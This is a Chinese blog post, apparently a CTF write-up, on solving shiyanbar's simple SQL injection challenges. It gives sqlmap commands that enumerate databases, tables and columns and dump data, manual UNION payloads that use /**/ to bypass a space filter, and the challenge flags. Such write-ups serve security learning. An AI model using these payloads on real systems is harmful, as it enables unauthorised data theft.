sql注入學習心得與sqlmap使用心得


做題是最好的老師

首先先來分享一下我用來練手的題目,實驗吧中的簡單的sql注入1,2,3

不得不說,sql注入真是一個神奇的東西,至少我以前看起來一點頭緒都沒有的題目能入手了

首先是簡單的sql注入3(別問我為什么不是1)

打開鏈接之后發現

陷入沉思,這時候我決定使用sqlmap對他進行sql注入

在終端輸入python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dbs,然后就開始等他跑,當然跑的過程有點長,就不貼圖了

最終結果得到

3個表,這可還行,然后我們打開web1看看里面有什么列

python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --tables -D web1

emmmmm,熟悉的字眼,是flag!

於是我們再進入列看看

python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --columns -T flag -D web1

flag已經出現了,這時候我們只需要把它dump出來就好了

python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dump -C flag -T flag -D web1

最終得到答案 flag{Y0u_@r3_5O_dAmn_90Od}

當然,這樣可能比較麻煩,所以第二題我就換了一種方法

輸入1發現,那我們再輸入1 and 1 = 1

報錯了,emmmmm。於是看了一下別人的wp,原來報SQLi detected!,說明有防護;name: baloteli 說明過濾了“空格”

所以我們先查看有哪些數據庫
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

 

 好家伙,又是web1,那我們再看看有什么表

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

找到了這個,那我們再看看里面有什么東西

1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/'1'='1

最后輸入1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1

答案就出來了flag{Y0u_@r3_5O_dAmn_90Od}

最后我們來說一下簡單的sql注入1

當然我的做法和2一樣,只不過看列的時候出現了一點問題

於是我直接就進行了最后一步,希望能得到答案,當然最后還是運氣好得到答案了

flag{Y0u_@r3_5O_dAmn_90Od}

希望有dalao能解答一下我最后遇到的問題,歡迎評論


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM